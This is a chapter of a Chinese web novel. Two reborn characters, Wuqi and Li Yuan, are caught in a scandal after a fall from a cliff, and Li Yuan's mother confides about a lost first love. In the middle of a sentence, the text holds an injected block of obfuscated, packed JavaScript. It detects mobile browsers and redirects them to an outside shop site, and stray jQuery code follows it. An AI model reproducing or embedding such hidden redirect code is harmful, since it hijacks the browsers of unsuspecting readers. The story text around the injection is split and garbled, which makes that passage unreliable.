那圈红痕让梧栖想起了他的好兄弟,阳丁。
他来到京城后的第一件事就是寻找阳丁,阳丁那时却已经没有在城隍庙了,找城隍庙的乞丐打听那些乞丐只说不认识这个人。
他直觉有异却不知为何与上一世不同,直到刺杀那日,他才发现阳丁成了黎沅的随从,不止如此,他被黎沅迷得五迷三道的,对她忠心耿耿,愿意为她赴死。
上一世他听过不少这位皇后的传说,说得最多的还是她貌美近妖,勾得帝王专宠她一人。
他没想到自己的好兄弟也会被她所迷惑。
然而更可怕的是,黎沅为何会找上阳丁?
虽然让人难以相信,但只有这个答案才能解释黎沅为何提前收买阳丁。
那就是,黎沅也重生了。
面对一个重生的皇后,他的选择只有两个,要么杀了她,要么让她为之所用。
不过他没想到,还没等他下手,黎沅便先下手了。
………………
“过来吃吧。”
梧栖的嗓音冷冷淡淡落在空气里
黎沅抬起眼,见他已拿起一枚红果,这才慢慢走近,拿起一颗,咬了下去。
一颗还没吃完,对面的梧栖忽然站了起来,朝山洞口走去。
“怎么了?”黎沅放下嘴边的果子,跟了上去。
梧栖侧身站在山洞口,看着崖壁。
黎沅的视线也跟着看了出去,什么都没看到。
突然,隐隐约约,远处飘来几个男人的声音。
黎沅凝神细听,心头一紧,确实是男人说话的声音。
“这边……快点……”
她探身朝崖下望去,只见一队身穿官衣的侍卫正沿着对面山道搜寻,走在最前那人高大威猛,正是陆茗。
“来得比我想的慢了点。”梧栖轻哼一声,侧头看向黎沅,“皇后娘娘,可想好了?要不要和我合作?”
黎沅柔柔一笑:“我还没想好呢,这事得从长计议。既然你的人找来了,你看要不要你先躲起来,让他们先找到我?”
梧栖没有说话,只是静静盯着她。
山风拂过,梧栖的目光落在她脸上,从额头一寸一寸地往下移,黎沅迎着这道视线,笑容未变,心跳却莫名跳快了,她不知道梧栖又在打什么主意。
忽然,他伸手拿过黎沅手里那颗红果子,手腕一扬,果子划过一道弧线,撞在崖壁上,发出一声闷响,骨碌碌滚落深谷。
“既然你还没考虑好,”他收回手,目光沉沉,“那就怪不得我了。”
话音未落,他蓦地揽过黎沅的腰,将她带进怀里,在她惊愕的目光中,俯身,对着她的脸,吻了下去。
……………………
燕京又出一个天大的八卦!
跟梧家大公子一起遇刺的黎家小姐,与梧家二公子又遇到了行刺,两人一起坠落山崖,在山崖之下相处几日,听说……还有了肌肤之亲……
只是因为梧大公子刚死,丧事都还没办,皇上特意下旨让万佛寺的主持为梧卓先做一个月的法事,为此梧卓和夫人住进了万佛寺,为儿子吃斋礼佛一个月,实在没有心力管庶子的事。
梧家大儿子刚死,梧家二子又与同一位小姐传出绯闻,中间还夹杂着私会,肌肤之亲等字眼,这消息很快就传遍了整个京城。
黎府。
听说黎沅失踪后,黎哲也回府了。
为了找女儿,崔云意和黎哲的关系缓和了不少。
黎沅被救回府后,黎哲冷着脸没跟黎沅说一句话。
等到大夫说小姐没事后,黎哲沉着脸道:“你们都出去。”
下人都退下了,只剩下黎哲和崔云意。
突然之间,黎哲抓起一个桌上的茶杯,摔在地上:“这到底是怎么回事?你一个字一个字地给我说清楚,你不是去梧家祭拜梧大公子?怎么会弄成今日这个局面?”
崔云意斜着眼看着,还是第一次见自家丈夫摔杯子,她眼底浮起不满,但还是忍住了。
黎沅看了一眼地上破碎的茶杯。
梧栖亲她,她始料未及,又气又恨,但还得同他先把长辈应付过去。
在回来的路上她已与梧栖统一了说辞。
就说是灵堂有黑衣人闯入,黑衣人抓走了她,梧栖去追黑衣人,两人坠崖。
说完后,黎沅道:“该说的已经说了,就是那样。”
黎哲很是不满黎沅的态度:“好好好,既然你这么想嫁进梧家,那你就嫁好了,我就当没你这个女儿,看看你教出来的好女儿。”
说要拂袖而去。
等到黎哲走后,崔云意坐到床头前。
“娘,你留下来也是想骂我?”
崔云意一扯嘴角:“娘就想问你一句话,你对那梧家二公子可有情意?”
都成了如今这副局面,她对梧栖只能有情意。
黎沅点了点头。
没想到崔云意竟笑了:“沅儿真是长大了。”
“娘,你之前不是说过不让我嫁去陇西那边?”
黎沅记得当时梧麟找上府时,娘亲还专门叮嘱她不要嫁远了。
崔云意道:“陇西是远了点,但如果是你真心所喜欢的人,娘怎么会生气?”
黎沅失踪的这几日,崔云意日日向菩萨祷告,只要黎沅能够平安回来,让她做什么都行。
如今黎沅平安回来了,她也别无他求。
况且她的女儿,她比谁都了解,黎沅在他那个古板的丈夫的教导下长大,若是没有动心,是不会与那个男人有肌肤之亲的。
黎沅听到娘的话,整个人都愣住了。
在她记忆里,娘亲出身世家,举止端庄,脾气好得像三月的春水,从不跟谁红脸。待爹,是温柔小意的妻子;待家中上下,是宽严并济的主母;待她,更是慈爱有加的母亲。她从不知道,原来娘亲心里,还藏着这样的话。
“娘,我以为……你会…和爹一样…觉得我……给他丢人了……”
崔云意笑道:“沅儿,娘也当过女儿,知道女子在你这个年纪情窦初开是再正常不过的一件事情,娘经历过,所以娘能理解你,娘虽然不想你嫁得那么远,但如果你真的喜欢那梧家公子,娘到时候风风光光地送你出嫁!
黎沅的眼睛有点湿润,她压了压情绪,问道:“娘,所以你喜欢的那个人是爹吗?”
崔云意没有作声,只是敛着眸子看着墙角的书架,目光却仿佛落入了虚无,像透过书架看着其他人。
黎沅惊觉问道:“难
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724744|208813||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
道不是爹?”
崔云意这才回过头,她想了想,决定说出实话:“确实不是你爹。”
没想到还能牵扯出爹娘的八卦。
“那是何人?”
崔云意不愿说,推托道:“都是些陈年往事了,早就过去了。”
“所以是谁?我可听说过他名字?”
“娘~”
“你就告诉我嘛,娘~”
看着女儿跟自己撒娇,自从黎沅懂事已后,听从她爹的教导,养成了乖巧有礼的性子,女儿已经好久没有跟她这般撒娇了,崔云意不忍拒绝这难得的母女交心时刻,轻声说道:“你听说过。”
见母亲这般肯定,这人肯定官职不低。
“是谁?”
崔云意脸色微红,埋在心里多年的名字在舌尖轻轻地掂了一下,没好意思说出来,只轻道:“是个大人物。”
黎沅立马把朝中有实权大臣名字想了一遍,大人物?范围太广了。
“到底是谁呀,娘?”
崔云意的脸越发红了,却依旧不吱声。
黎沅决定换一个问法。
“那娘,你与这位大人物是如何认识的?你又是为何喜欢上他的?”
黎沅感觉心里有无数个问题往外冒,她终于理解了她娘亲想打听梧栖的感受。
崔云意拢了拢头发,慢慢将埋在心底的那些回忆挖出来。
“那年我十八岁,父亲想给我说亲,带我去参加围猎大会,围猎大会京城里的公子哥都会去,我其实骑术不太好,本来不准备骑马的,但是我表姐非拉着我骑,我就上了马,本来骑得好好的,突然不知道从哪里飞过来一只箭擦着我身子而过,马受了惊,开始狂奔,是他……跳上马将马控制住……”
英雄救美呀……
看来这位大人物是一位武将!
黎沅长得跟娘亲有六分像,娘亲便是人到中年也难掩美貌,更何况十八岁如花似玉的年纪了。
“那后来呢?”黎沅姨母笑着听完这英雄救美的故事,忍不住追问道。
“后来?后来我就嫁给你爹了。”
戛然而止,就像很多人情爱故事一样,不是话本,没有完美结局。
“怎么就突然嫁给我爹了?”
年少的那些情绪已经在时间的搓磨下渐渐消散,崔云意已经能平静地将当时的一切讲出来。
崔云意缓缓道:“傻孩子,成亲不是喜欢就可以的,讲究一个父母之命,媒妁之言,我们崔家自来就是清流世家,你外祖父是文官一派,只喜欢文官一派的出身,不喜欢那些舞刀弄枪的,更别说那时候的他……也不是什么这般权势,而你爹当时可是三甲进士,长得又好,你外祖父一眼便相中了你爹。”
“那……娘,你就这般接受了?”
崔云意停顿了一下,才说道:“娘没有你的勇气,那次回来之后,我跟他又见过几面,我没勇气将自己的心意说出口,更没勇气忤逆外祖父,只能接受。”
黎沅说不出什么感觉,如果不是重来一世,她还是那个乖巧的黎府大小姐,多年的归束教导让她也做不出今日这等事情。
“娘,”黎沅抱住了娘亲,不知为何,她心头像堵住了一般,说不出的难受:“你那时候是不是很伤心?”